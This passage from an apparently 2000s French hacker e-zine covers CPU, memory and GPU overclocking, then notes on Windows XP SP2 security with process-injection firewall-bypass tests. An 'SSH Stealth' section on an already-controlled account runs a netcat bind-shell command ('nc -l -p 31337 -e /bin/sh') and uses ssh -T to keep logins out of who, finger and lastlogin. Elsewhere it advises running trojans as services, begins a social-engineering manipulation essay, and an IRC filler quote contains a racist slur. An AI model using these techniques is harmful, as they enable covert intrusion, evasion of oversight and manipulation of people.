que sa revienne. Dans le second, vous pouvez monter le voltage  de  votre   CPU 
dans le bios en utilisant le menu Vcore. Plus le voltage est  haut,  plus  vous
aller faire chauffer le CPU. Il ne faut pas  oublier  qu'un  haut  voltage aura 
également pour effet de réduire la durée de  vie  de votre matériel. Un voltage 
raisonnable  se situe  entre  1.7  et  1.8.  Une fois  que vous avez trouver la 
fréquence  maximale,  montez  le  multiplicateur  par  coup  de  .5,  tout   en 
surveillant la température.  Une  fois  le pc booté, faite une coupe de test de 
benchmark de suite pour s'assurer  que  le pc est stable. Pour cela, il  existe 
plusieurs  programmes,  le  plus connu  étant 3Dmark.  Mais  plusieurs   autres 
programmes peuvent être utilisés tel CPU burn  qui  est spécialement conçu pour 
faire chauffer le CPU. En passant, essayer de ne  pas  dépasser  les  50 degrés 
celcius en pleine charges. Plus votre CPU reste froid,  mieux  il  performe  et 
plus sa durée de vie va  être  élevée.  Comme  vous  avez  remarqué,  tous  ces 
programmes sont sous windows. Pour linux et bien... et bien je dois  avouer que 
j'ai  pas  overclocker  de  pc utilisant linux parce que j'ai seulement  besoin 
d'extrême performance pour jouer à des jeux, donc windows. Donc si les 2  tests 
de benchmark se déroulent parfaitement ça veut dire que le pc est  stable  donc 
on  peut  essayer de le monter plus. Si vous obtenez un blue screen sa signifie 
que  le  cpu  n'est  pas stable et pour stabiliser ça il suffit d'augmenter par 
coup  de  .25 le voltage du cpu. Si le programme de benchmark ou n'importe quel 
application  3D  se ferme tout seul, c'est probablement un problème de mémoire, 
c'est ce qu'on va voir à l'instant.

 


2. MEMORY OVERCLOCKING

  Maintenant on peux continuer avec la mémoire. Pour  commencer  il  faut  bien 
cooler la mémoire puisqu'on va augmenter son voltage. Une tonnes de gadget sont 
disponibles pour cooler la mémoire mais moi je vous conseil simplement un petit 
heatsink en cuivre qui coute environ 12$.

---> http://www.tuning-pc.com/images/products/bbddrcpr.jpg
     ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  Les 2 options sur lesquelles on n'a le contrôle c'est les timings de  mémoire 
et son voltage. Si, lors d'un test de benchmark vous obtenez une  fermeture  de 
l'application  involontaire  suivi  d'un retour à windows, ça veut dire d'aller 
monter  le  voltage  de  la  mémoire  (dans le bios). Habituellement, monter la 
mémoire  de  .1  volt  règle  le  problème.  Attention de ne pas trop monter le 
voltage de la  mémoire, à moins que vous ayez une mémoire de bonne marque comme 
Corsaire, OCZ ou kingston qui sont garantie à vie.

  Les timings mémoire sont des "délais  de  sécurité"  destinés  à  éviter  les 
erreurs  lorsque  le  pc  lit  ou  écrit dans la mémoire. En gros, si on essaye 
d'accéder à  telle  adresse  de  mémoire en une demi seconde, ya plus de chance 
qu'une erreure arrive que si on y accède en 3 secondes. 

  Les timings fonctionnent avec les cycles d'horloges. C'est à dire que pour un 
FSB de 166 Mhz, le système fait 166  millions  de  cycles  par  secondes,  donc 
chaque cycle dure 6 nanosecondes. Pour un FSB de 200 Mhz chaque cycle  va durer 
5  nanosecondes,  et  ainsi de suite. On voit bien l'intérêt de construire  des 
systèmes avec le FSB le plus haut possible. 

  Il  existe  plusieurs  timings  qui  ont  une  influences plutôt médiocre sur
les performances globale du système. Cependant, il en a  deux  particulièrement 
intéressant.
 
Cas Latency:
¯¯¯¯¯¯¯¯¯¯¯¯
C'est  le  temps  minimum  que  ça  va  prendre  pour accéder à une "colone" de 
mémoire. Pour de la mémoire DDR (Double Data Rate) il est généralement  de  2.5 
cycles.  Il  est habituellement possible de l'abaisser à 2 mais certain système 
ne seront  pas  stable.  Quelques fois vous aurez besoin d'augmenter le voltage 
pour que ça passe.  Une  fois  booter,  faite  3  ou  4  shot de MemTest, petit 
programme qui bench la ram pour voir si elle est stable.

Precharge To Active:
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
C'est tout simplement le temps à attendre avant de traiter une nouvelle demande
d'accès mémoire. Habituellement, plus le FSB est haut, moins on peut avoir  des
timings agressif. Dans ce cas, il n'est pas  rare de rencontrer 6, 7 et même 8.
Encore une fois, settez le le plus bas possible  et faite une coupe de memtest.


2.1 DÉSYNCHRONISATION DE LA MÉMOIRE

  Cette  technique  consiste  à  désynchroniser  la  mémoire et le  processeur. 
Parfois,  faire  runner  la  mémoire  moins  rapidement  que le processeur peut 
permettre d'augmenter  plus  le  CPU avant que la mémoire ne suive plus. Il y a 
souvent  une  option  dans  le  BIOS ( ça ressemble à "memory frequency" ) pour 
setter  à  combien  de  %  on  veut  que  la ram fonctionne par rapport au CPU. 
Exemple : Si vous êtes rendu à  200mhz  de FSB et que votre ram ne supporte pas 
plus haut, on désynchronise la ram à  90%. votre ram va runné à 180 mhz pendant 
que votre FSB va runné à 200mhz, donc on peut essayer de monter le FSB à 220mhz 
et votre ram va n'être qu'à 200mhz. La plus part du  temps  par contre, cela va 
vous faire perdre de la performance plutôt qu'en gagner.  Cette technique n'est 
donc pas vraiment conseillée.



3. GRAPHIC CARD OVERCLOCKING

  Pour commencer il est important de bien cooler certaines parties de  la carte 
pour les même raisons que la mémoire. Repérez les chipset de mémoire  sur votre 
carte  3D  et  mettez  leur chacune un heatsink,  préparé maison avec un  vieux 
heatsink  que  vous  aurez  scier  et  un  peu de colle ou de pâte thermique ou 
whateter, en autant que  le  heatsink  soit  parfaitement coller sur la chip de 
mémoire. Prenez  garde  car  certaine carte on des chipset de chaque coté de la 
carte.  Ensuite  il faut analyser votre system de cooling pour le GPU. S'il est 
satisfaisant vous n'aurez pas à  le modifier,  en  cas  contraire,  enlever  le 
system  de  cooling  d'origine  et  remplacer  le  par un heatsink et un fan de 
processeur ou  achetez-en  un  faite  spécialement  pour  votre carte vidéo sur 
internet. 

Pour les performances 3d, on n'a accès à 4 settings;

La  fréquence du GPU (graphic processing unit), la fréquence de la mémoire,  la 
fréquence du port agp et le voltage du port agp. Je crois que des  explications 
sur ces termes seraient superflus alors passons immédiatement à la technique.

  Le principe est d'augmenter la mémoire jusqu'à temps que, lors  d'un  test de 
3dmark, vous voyez des artifacts. ça c'est des petits points blanc, des lignes, 
ou n'importe quelles irrégularités dans votre image. Ça veut dire que vous êtes 
rendu  trop  haut.  Ensuite,  vous  pouvez  monter  le GPU. Si votre image gèle 
pendant  un  bench  ou  un  jeu 3D, ça veut dire que vous êtes rendu trop haut. 
c'est aussi simple que ça. Pour monter la fréquence de la mémoire et du GPU, si 
vous avez une chipset ATI, il existe plusieurs programme mais je crois  que  le 
plus  performant  s'appelle  RivaTuner.  Si  vous  avez  une   chipset  Nvidia, 
copier/coller  cette  clé  dans  un  fichier  .reg  et  exécuter le. Vous aller 
dorénavant avoir accès à  un  menu "Fréquence d'horloge" dans les propriétés de 
Nview ( bouton de droite sur  le bureau, propriété, paramètre, avancé, l'onglet 
portant le nom de votre carte ).




-------8<--------------cut here-----------------8<-------------------


Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\NVIDIA Corporation\Global\NVTweak]
"Coolbits"=dword:ffffffff


-------8<--------------cut here-----------------8<-------------------



  Vous  pouvez également augmenter la fréquence du port AGP dans le bios. Pour
gagner un peu de performance sans risquer de faire griller le port AGP, passez 
de 66 à 75 mhz et monter le voltage de 0.1.



4. CONCLUSION

  Ça  me  tente pas de faire de conclusion.. de toute facon on dit jamais rien 
d'important dans une conclusion.


                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit accueillant et stimulant     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<BoFf_PuLo> je recherche des IPC ou SQL pour faire un bot-scan pi      ]=--[~~]----|
|      [apres je lui redonne son IPC ou SQL pi i vient ds team, de bot-scan    ]    \/     | 
       [<BoFf_PuLo> jlui re donne le double de IPC ou SQL ou i vient ds team   ]           | 
|      [de bot-scan                                                            ] there is
|      [<BoFf_PuLo> c les 2 sort de rconpence                                  ] no spoon
|      [<wyzeman> et pkoi tu vien me dire ca ?                                 ]           |  
       [<BoFf_PuLo> bin si ta des IPC ou SQL                                   ]           | 
       [<wyzeman> pkoi jaurais ca ?                                            ]           |  
|      [<wyzeman> jvois pas comment ta pu penser que je ferais du scann        ]           
|      [<BoFf_PuLo> bin i na un qui ma dit que tu fait un peut de warez jcroit ]           |              
|-[~]-=[<wyzeman> ben ca marrive de downloader un mp3 sur emule je lavous      ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 




.---+-=[ Notes sur windows XP SP2            ]=------+---------------------------=[08]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Lastcall_ ]=-|
| //                                                                                       |
| L\:-=[Ak : C'est ça mais c'est pas ça                 ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


Note sur les notes :
J'ai écrit ces notes dès que le SP2 a sorti, en fait, j'avais même installé le
SP2 sur un ordi  dans  le temps que  y'était BETA  pis que  ça la toute  chier
un moment  donné a  cause du  Windows update  (dsl encore  mio :-P). Bref, cet
article était supposer être  releasé en août, donc  est pu trop  trop  "actuel
hot". Le  voici donc  en version  "fini sous  le rush  4 mois  plus tard". Par
contre, je  vous  garanti  que même   si vous  avez  (et  sacrer après) le SP2
depuis qq mois, vous allez  apprendre quelques facts intéressants à  propos de
cette fameuse patch de la mort qui tue.


Chose que SP2 fait in a nutshell
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
- New  firewall qui  marche par  application (comme  tiny personal firewall et
zone alarm)
-  Le new  firewall BLOCK  ALL par  defaut et  permet  des  applications/ports
exceptions, et peut etre mis en nazi-mode (aka On with no exceptions)
- L'ancien firewall est encore la, en faite il sert de  "ouvreur de ports  par
interface" (aka exactement cki fesait avant le SP2). C'est la seule chose  qui
a été  laisser "laide"  pour pas  nous gosser..  ou yon  faite ça parce que le
nouveau firewall est  pas a la  même place sua  stack  (genre l'ancien  serait
direct sur l'interface, le nouveau un layer plus haut.. *suppositions ici voir
sections suppositions*)
- Un  "Security Center"  vous gosse  d'installer un  anti-virus, de  mettre le
firewall et les auto-updates a on
- Un popup blocker dans IE
- Un service qui scan pour  les bad attachements dans Outlook pis  MSN/Windows
Messager. Il start aussi l'anti-virus automatiquement.
- Un équivalent de "Hijackthis" pour IE + liste des <object> a alloué.


Chose que SP2 fait pas in a nutshell
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
- Rendre votre ordinateur plus sécure  qu'avant si vous aviez déjà un  A/V pis
un firewall block all par defaut
- Vous sacré la paix avec le Security Center (malgres que ya moyen de disabler
les alerts ou de dire "arrête de me gosser avec le A/V")
- Vous permette de rouler votre machine comme avant
- Empecher de rouler un programme qui disable toute les feats. de sécurité
- Rouler le service  messenger (tsé les popup  avec net send la?)  par defaut.
- Afficher les images externes dans un HTML email. Runner des <object> dans un
HTML email.
- Rouler du javascript dans un .jpg (sorry funky :-P)


Les détails leets
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
- Le firewall permet d'allouer des subnets pour certain service (pis y le fait
avec le réseau local par défaut je crois)
- Le  firewall est  full-keep-state (pkoi  c fun  ca? pensez  zy, si  une apps
allouer par le firewall ouvre un  port, seul les donnés de ce  flow spécifique
la passe par ce port la,  DONC pour hijacker une connexion/spoofer un  packet,
ça va etre ben plus toffe)
- Boot-time  policy; tlm  se rapelle  que on  pouvait se  faire owner  PENDANT
l'installation  de Windows  XP, ou  pire pendant  le boot-time  (Si  genre  le
service du firewall est pas  encore starter). Well maintenant ya  un boot-time
policy (en francais tant que le  vrai service de firewall est pas  starté) qui
block toute sauf DNS/DHCP/domain controller.. clever.
-  RPC refuse  toute les  requests qui  sont pas  "clean",  genre  dune source
anonyme et non autotifier.
-  Les  port RPC  (well  les shits  de  Windows? je  suppose)  sont accessible
seulement pour un service. Donc, les trojans qui roulent pas en service et qui
utilisait ces ports  la (cé drole  jen connais pas..p-e  des rootkits alors?).
Solution? Rouler  vos trojans  en service  Local System  ou Network Service ou
Local Service.
- DCOM marche juste  si le user disant  est authentifier (c dla  marde pour un
usage légitime, j'ai tjrs détester  gosser pour syncroniser des users  entre 2
Windoze)
- MEMORY  PROTECTION*! OMG!  Yep, SP2  supporte l'exécution  protection pis le
sandboxing.  En  clair pas  clair,  ça supporte  le  NX sur les  CPUs 64  bits
intel/amd,  surl  es  bon vieux  32bits  la  stack pis  la  heap  sont protégé
respectivement par un security check des  buffers pis un "cookie" placer a  la
fin des buffers. En concret, va falloir TOUTE RECOMPILER les exes pour que  ca
soye compatible avec ca. Voila, on  a maintenant l'Explication de 2 choses  1)
pkoi que SP2 est si incompatible avec  plein d'affaires et 2) pkoi que c aussi
gros que ça a downloader.
*: ne pas confondre avec la feat quon a depuis les 386. hehe
- AES (Attachement Execution Service). Interfacer en COM avec les autres apps,
cte service  la va  carrément scanner  les MIME  ext en  fonction des file ext
(fini les javascript dans les jpegs??? je rêve?)
- La local  zone dans IE  est maintenant une  zone sécurisé par default (avant
toute  ce qui  était LOCAL  était  full  trusted).Donc en  gros, IE  block des
affaires même si vous accessder à  C:\bleh.html (remarquer ça dans IE6 c'était
déjà la, mais ca dlair que  SP2  l'extend au component et autre bidule, chu tu
en train de dire que y va avoir dla sécurité dans les windows help en html? ça
dlair que oui, p-e même que c bloquer par default comme outlook...)


Ça pas rapport mais ya un lien
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
- Windows update v5 était loader par default dans le beta release du SP2...
- L'base line analyser est updater pour le SP2.. si vous savez pas c'est  quoi
le BSA, aller voir, vous êtes pas si bien patcher que vous le penser...
  http://www.microsoft.com/mbsa
- Avis aux webmasters qui avait faite un site pour "IE": tant pis pour vous ya
pu grand bébelles qui vont marcher avec le SP2! J'espère que vous êtes payer a
l'heure.
http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp


Suppositions et psychohistoire
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
- Le nouveau  firewall: si yé  effectivement un layer  plus haut, ça  voudrait
dire qu'un programme qui gosse direct  avec une interface au lieu de  "global"
ne serait pas affecter par le firewall? ctun non-sense paske ca dlair que même
les RPC sont  gérer par le  nouveau firewall.. well  si ya qqn  d'assé leet en
windows y pourrait essayer ça, bidouiller  un driver de network card pour  qui
serve de direct  pipe (ou encore  accéder direct au  driver existants avec  un
prog low-level). Par contre toute la beauté d'exploiter ça facilement  revient
au niveau  de "est-ce  que le  'specific network  connections firewall'  est a
block-all-on-par-default. Dans SP1 cétait la coche firewall dans les  advanced
params de la connexion, alors que dans le nouveau c une liste des  connections
dans le advanced tab du Windows Firewall. Nyways, ya moyen d'ouvrir un port en
runnant une application  via le vieux  firewall de SP1,  donc ca se  fait très
certainement avec le vieux firewall de SP2 (la beauté de la chose agian c  que
ça bypass le nouveau firewall, et le  user qui a peur du tab "advanced"  verra
jamais rien.
- L'impact du block all par défaut: LE futur pour le support technique va être
génial. Imaginé au monde  ou tout est block  all par défault, un  monde ou tlm
sont routés entre Internet et leurs maisons (avec un routeur entre les 2). Ben
ce monde la va être encourager par  le SP2. C'est déjà faite pour  la  plupart
des gens, asteure les routeurs se retrouvent dans les boites de céréales. MAis
la le SP2, va  rendre ça presque obligatoire  pour toute les noobs  (parce que
c'est PAR  DEFAULT). Donc,  fini les  applications qui  utilise des socket qui
listen.. a moins que (voir le point suivant).
- Me semble que  c'est facile s'ajouter dans  la "OK LIST" (en  faite c'est de
même depuis SP1) : Ouais, il est possible pour un programme de s'ajouter  dans
la OK list du firewall. En gros, le exe est une "exception" toute ski bind  et
ski sort  est pas  filtrer par  le firewall..  pratique. Tellement  que je  me
rappelle  un  jour  (sous  SP1)  Internet Explorer a décider d'ouvrir quelques 
ports pour Windows Media Player.. je me suis  fâché,  et  je  lui ai foutu une  
volée.. je  me  rappelle  pu trop  ce  que  je lui  ai fait  mais depuis,  WMP  
plante systématiquement  sur  ma machine..  haha M'enfin, toute  ça  pour dire  
que, finalement,  dans  le  futur  les  différents  "malwares"  vont finir par 
se  débrouiller  comme ils  veulent pour runner firewall ou pas, puisque après 
tout, dès qu'un user logger  administrateur (btw, le SP2 encourage t-il le "be 
a user instead of an  admin/poweruser?", non je  crois pas, DUH)  run un .exe, 
c'est fini napu.


Boutte pseudo-leet de l'article : test de process injection 
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Pour ceux qui lise phrack assidûment, vous vous rappelez sûrement de l'article
de rattle  dans le  #62 "Using  Process Infection  to Bypass  Windows Software
Firewalls". Pour les autres, cet  article démontre des moyens de  bypasser les
stupides firewall qui check pour les outbound connexions des process, du genre
"Voulez vous laisser aolshit.exe aller  sur le port 80 de  www.perdu.com?". Sa
première technique (se  servir d'un exe  sur le disque  pour injecter le  code
dedans et starter son propre code)  défonce toute les firewall qu'il a  tester
sauf TinyPersonalFirewall, et sa deuxième défonce même TinyPF.

Mais bon, on sen fou dans cet article si ça défonce Zone Alarm 4, Sygate  5.5,
blackIce 3.6  et même  Tiny 5.0,  ce qui  nous intéresse  c'est le firewall de
Windoze XP!

Je  vais  donc  faire  des  tests,  primo,  sans  le  SP2,  avec  TinyPF. J'ai
effectivement réussi a runner les 2 source codes, les résultats ont fonctionné
tel que  prévu. N'a  un qui  a marcher,  l'autre qui  a pas  marcher. J'ai pas
envie  d'inventer  des  results,  donc  vous   devez  me  croire  (pis  croire
l'article dans phrack  ça  marche/shit comme   c'est supposé.  TinyPF  détecte
qui a qqchose de louche qui se passe avec un, mais l'autre rien du tout.

Deuxio, avec le SP2, pis le super-mega-firewall de Windows. La toute se  passe
comme  dans   du beurre.   Au  moins  TinyPF  détectais   le louche   avec  la
première version, mais la j'ai un injection successful pour les 2..

M'enfin, sommes toutes WinXP fait pas  grand chose.. en faite ya meme  quelque
chose de louche.

Metton que je lunch une application  moche, metton "TCP Port Listener v1.0  by
oollee". Bien SP2 me popup une jolie fenêtre de "Open File, Security  Warning:
The  publisher  cannot  be  verified".  Et  me  demande  si  je  veux vraiment
l'ouvrir.. fou fou! Mais par contre, si je lunch le binary compiler direct  de
phrack.. rien, y le run comme du beurre. C'est plutôt louche a mon avis.

De plus, des  fois, le FireWall  de SP2 me  gosse a propos  des outbounds dans
mIRC, quand ça lui tente.. LOUCHE.

En tout  cas y'a  pas de  grosses conclusions  a tirer  de t'ça,  à part   que
ça pourrait pas sucker, mais  ça suck par boute pareil.. hehe



Lectures en détails
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwxp/html/securityinxpsp2.asp
http://download.microsoft.com/download/6/6/c/66c20c86-dcbe-4dde-bbf2-ab1fe9130a97/windows%20xp%20sp%202%20white%20paper.doc
http://www.phrack.org/show.php?p=62&a=13

Bonus link
¯¯¯¯¯¯¯¯¯¯
http://www.microsoft.com/technet/Security/tools/default.mspx


La fin de l'article
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Si vous avez lu l'article,  vous comprenez maintenant pourquoi le  titre était
"Notes sur Windows XP SP2" et non "Article innovateur élite super 2004".  Mais
bon, ces notes pourrait p-e vous êtres utile, ou du moins peuvent vous  sauver
la lecture  longue et  fastidieuse (et  bullshitteuse) du  site de  M$ sur  le
sujet. De plus, ces notes pourrait vous menez vers des idées de projets..  tel
que de quoi qui se "process inject", ou encore un plugin de malware qui  scrap
le firewall du monde.. mais bon, soyez pas trop evil, parce que après tout, la
journée qu'on va avoir fini de scrapper Windows et que toute va être  patcher,
va   falloir se  rabattre sur  la bonne  vieille faille  universelle :  l'être
humain. D'ici la ça risque de  prendre bcp de temps, mais soyons  visionnaire,
et disons nous que  dans ~100 ans, ça  devrait être faite, et  même temps, les
gens vont être plus sensible à la sécurité, à l'informatique elle-même.  Donc,
(psychohistoire again), ya  qua espérer qui  va avoir un  véritable avancement
dans les OS tel que Windows, tellement grand, que le cycle naturel du  hacking
puisse continuer et que nos tête dans des bocals puissent continuer de  hacker
teh yold way.

3h26 am, c fini.









time to get balws


            .-._.-._.-._.-._.-._.-._.-._             
          :"                ------.      ``, 
          }                 |_.l._l        '=---=1|
          {                 `--.__               |1
          }                 <-'`'`               |1
          {                 <-`,.,               |1
          }                 ,-----         =---=1||
          :                 L__/``|      ,`
           "._.-._.-._.-._.-._.-._.-._.-'
           
           
ready to continue ?           





.---+-=[ SSh Stealth connection              ]=------+---------------------------=[09]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Phawnky   ]=-|
| //                                                                                       |
| L\:-=[Ak : c'est pas l'homme qui fond mais bon...     ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
 


SSH Stealth Stuff

   Y'a  environ  5-6  mois, un de mes buds de efnet ma montre quelque trucs qui 
peuvent être très utiles quand ça vous tante pas de backdoorer une box  et  que 
vous avez déjà le control sur un  account,  ou  plus  qu'un,  ou  whatever  qui 
ressemble a ça, en-t-k...voici le stock:

   EXEC
      
      Si vous le saviez pas déjà (c'est possible) ssh  permet  de  faire  autre 
      chose que de se logger a distance, et d'avoir un  shell.  En  fait,  vous 
      pouvez spécifiez ce qui est exécuter juste après  que  vous  soyez logger 
      (ou pas, je vais y revenir plus tard). Ca marche comme ca:
      
      <-Funky@-> ssh haxor@fserv 'uname'
      Password:
      FreeBSD

      Ou un truc plus utile du genre:
      
      <-Funky@-> ssh haxor@fserv 'nc -l -p 31337 -e /bin/sh'
      Password: 
      ^Z
      [1]+  Stopped                 ssh haxor@fserv 'nc -l -p 31337 -e /bin/sh'
      <-Funky@-> bg 1
      [1]+ ssh haxor@fserv 'nc -l -p 31337 -e /bin/sh' &
      <-Funky@-> nc fserv 31337
      
      ...etc...
      
      
   STEALTH EXEC
   
      Wo0, remote exec c'est déjà pas mal...mais ça  peut  être  encore  mieux.
      grace a la -T switch de ssh. Vous savez pas c'est quoi? et ça vous  tente
      pas de chercher? no prob:
      
      Extrait de man ssh:
      
      -T      Disable pseudo-tty allocation.
      
      Ok, et ça donne quoi que aucun pseudo-tty nous soit allocater?
      
      2eme extrait de man sshd:

      [ ...snip... ]      
           When a user successfully logs in, sshd does the following:

           1.   If the login is on a tty, and no command has been specified,
                prints last login time and /etc/motd (unless prevented in the
                configuration file or by $HOME/.hushlogin; see the FILES sec-
                tion).

      ***  2.   If the login is on a tty, records login time.
      [ ...snip... ]      
      
      A Vrai dire, c'est pas juste le login time qui record pas.  C'est le user 
      login au complet, le user est pas présent ni  dans finger ni dans who, et 
      ni dans lastlogin.
      
      
      <-Funky@-> who
      root             ttyv0    Nov 11 23:16
      Funky            ttyv1    Nov 11 23:17
      Funky            ttyp0    Dec  5 18:19 (winbox)
   
      <-Funky@-> finger
      Login            Name                 TTY  Idle  Login  Time   Office  Phone
      Funky            Alex Coleman        *v1     6d  Nov 11 23:17
      Funky            Alex Coleman         p0         Sun    18:19
      root             Mo0t Kewt           *v0     8d  Nov 11 23:16

      <-Funky@-> lastlogin haxor
      haxor                                         Never logged in

      Et en plus la seul chose visible dans ps aux c'est ca:
                 
      root  49230  0.0  5.2  2836 1512  ??  I     9:29PM   0:01.39 sshd: haxor@notty
      
      HAH!
      
Pour d'autre truc kewl avec ssh ->  man ssh; man sshd

----------------------------------
Greets: ttl du defunt nixsec@efnet
----------------------------------
  
                                                    phawnky.vous.m'avez.pas.vue
 
           
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit accueillant et stimulant     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<sah> plz je evux s'ioncrire ds undernet                               ]=--[~~]----|
|      [<Syncros> :arenpend e akrhiree                                         ]    \/     | 
       [<sah> tu connias putty                                                 ]           | 
|      [<sah> le programmes putty                                              ] Super  
|      [<Syncros> :on connais tout putty                                       ] computer              
|      [<Syncros> :on connais aussi paintbrush                                 ] taste good|  
       [<sah> oui c'est ca plz                                                 ]           | 
       [<sah> je evux connaictais                                              ]           |  
|      [<Syncros> :pi j'pas sur que je prefererais pas me faire enculer par un ]                
|-[~]-=[gros negre que de perdre mon temps a parler de ca                      ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 

                                   




.---+-=[ Cause S of S-E means Social        ]=------+---------------------------=[10]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Wyzeman   ]=-|
| //                                                                                       |
| L\:-=[Ak : The mooooo world                           ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               

     Si  nous  nous en tenons a  une  définition  exhaustive du terme  hacking, 
nous pouvons dire qu'il s'agit de  pénétrer  un  système   via  n'importe  quel 
moyen disponible et de préférence de façon inconito. Et il est bien  connu  que 
de  nos jour encore la  plus  grande   faille  de   sécurité  réside   dans  le  
facteur  humain.  Un  humain  peu  être  facilement influencer  ou  tromper  et  
se, généralement sans avoir a  impliquer des connaissances technique de pointe. 
L'homme exerces  mainte  manipulation contre ses semblables depuis probablement 
beaucoup plus longtemps qu'on aurait envie de croire. Depuis l'arriver du monde 
informatique,  une  variante dédier aux particularités de se monde a été nommer 
"social-engeneering" l'art de  modeler  une  conversation a  sont  avantage  en 
tirant  parti  des   faiblesses   du  genre humain. De  plus, parallèlement, la 
connaissance psychologique de l'être humain  a  évoluer de façon a pouvoir nous 
fournir des raisons  qui  font  en  sorte  que  la  manipulation  de  masse  ou 
d'individus a leurs insu est possible. Comme pour le cerveau, la partie émotive 
(l'impression  de) est beaucoup plus importante que le contenu livree (tant que 
c'est plausible)). Certes  l'habit  ne  fait  pas  le  moine,  mais  que   veut 
réellement  dire  cette  phrase  dans une société ou le 2eme degrés est loin de 
faire office de référence. Après  tout, l'être  humain  est  un  animal  et  ça 
psyché est déterminer d'après c'est émotions (c'est une des raisons entre autre   
qui  fait  que  vous  agissez  différemment  dépendamment d'avec qui vous  êtes  
(certain dirons que vous possédez autant de personnalité que le  nombre  de vos  
d'amis). Mais  l'être  humain possède aussi la logique et  peu  importe  ce que 
vous dirons les esprits faible, il est  possible  d'utiliser  la  logique  pour  
comprendre  et  surpasser les émotions. Pour bien y arriver par contre, il faut 
être totalement  honnête avec soit même (ce qui est soit disant impossible (mon 
oeil)). Ceux qui savent se  comprendre  savent comprendre les autres, et aussi, 
utiliser  ce  fait  comme  un  avantage.  Si  on  sait comment on réagit face a 
différente  situation  de  base (plus l'action est générique mieux c'est, sinon 
on rentre en conflit avec les  différences  de  valeurs, choc des génération et 
autre  patern  plus  difficile a  saisir)  on peu les recréer afin d'amener  ce  
même sentiment chez la personne qu'on cherche a influencer. Dans cette article,  
je d'écrirais quelque réalité  de  l'homme  qui  permette  de  mieu l'exploiter  
dependament  de  l'effet qu'on souhaite amener.  évidement  rien  de ceci n'est 
vrai ou efficace a 100%, il ne s'agit que de généralité, de plus, votre taux de 
réussite dépend grandement de  votre faciliter a interpréter les sentiments des 
autres (et croyez moi  ça  peu  même se faire a travers irc (c'est souvent plus 
simple dailleur)). 



     Beaucoup d'émotion peuvent servire de base a la manipulation, mais la plus 
efficace (et dailleur la plus utiliser en marketing et  en  propagande)  et  la 
peur. l'être humain est une créature relativement faible et sans  défense  s'il
n'a pas eu le temps (ou la génétique)  d'exploiter  sont  intelligence  a  sont
avantage. Si il a réussi a  survivre si longtemps, c'est entre autre grâce a sa
peur génétique directement lier a sont instinct de survie, (après tout  avouons 
le,  la  meilleur  chance  de survivre a un danger est de ne pas être impliquer 
dans le  rayon  d'action  de  se danger). Il existe certes des individus qui ne 
semble être effrayer par  rien,  mais  a  l'inverse d'autre  on  tellement peur 
qu'il sont incapable de vivre  en  société  (et  ils  ne  vivrait  probablement 
pas  très  longtemps  sans  elle).  C'est  individus  ne forme cependant pas la 
majorités et pourrais  statistiquement être  compiler  a  environs  1 par gang. 
La plus par seront faire face a  la  plus par des situation normal de leur vie, 
et a moins d'être  spécialement entraîner pour affronter le danger, préfèrerons 
fuire plutôt que de risquer une  blessure.  Dans  sa version la plus brutale et 
simple, on peu expliquer que face  a  un  adversaire  celui qui avant le combat 
aura estimer qu'il a relativement peu de chance de l'emporter choisira la fuite 
ou la soumission  (dépendamment  de  la  nature  de  l'adversaire  et  de  sont  
interprétation   de  la  situations  et  des  meilleurs  chance  de s'en sortir 
indemne. Dans la majoriter  des  cas,  si  les 2 opposants sont d'une  volontés 
égales, la victoire ira au plus compétent, et si  les  2  sont aussi  compétant  
la victoire ira plus souvent qu'autrement au plus confiant des deux).


     Mouais  mais hum, on a pu vraiment le droit de brutaliser sont voisin pour 
lui  imposer une taxe de bienvenue (sauf si on est un thug au secondaire !! :/) 
alors  a quoi bon peu me servire cette peur encrer chez l'être humain ? Et bien 
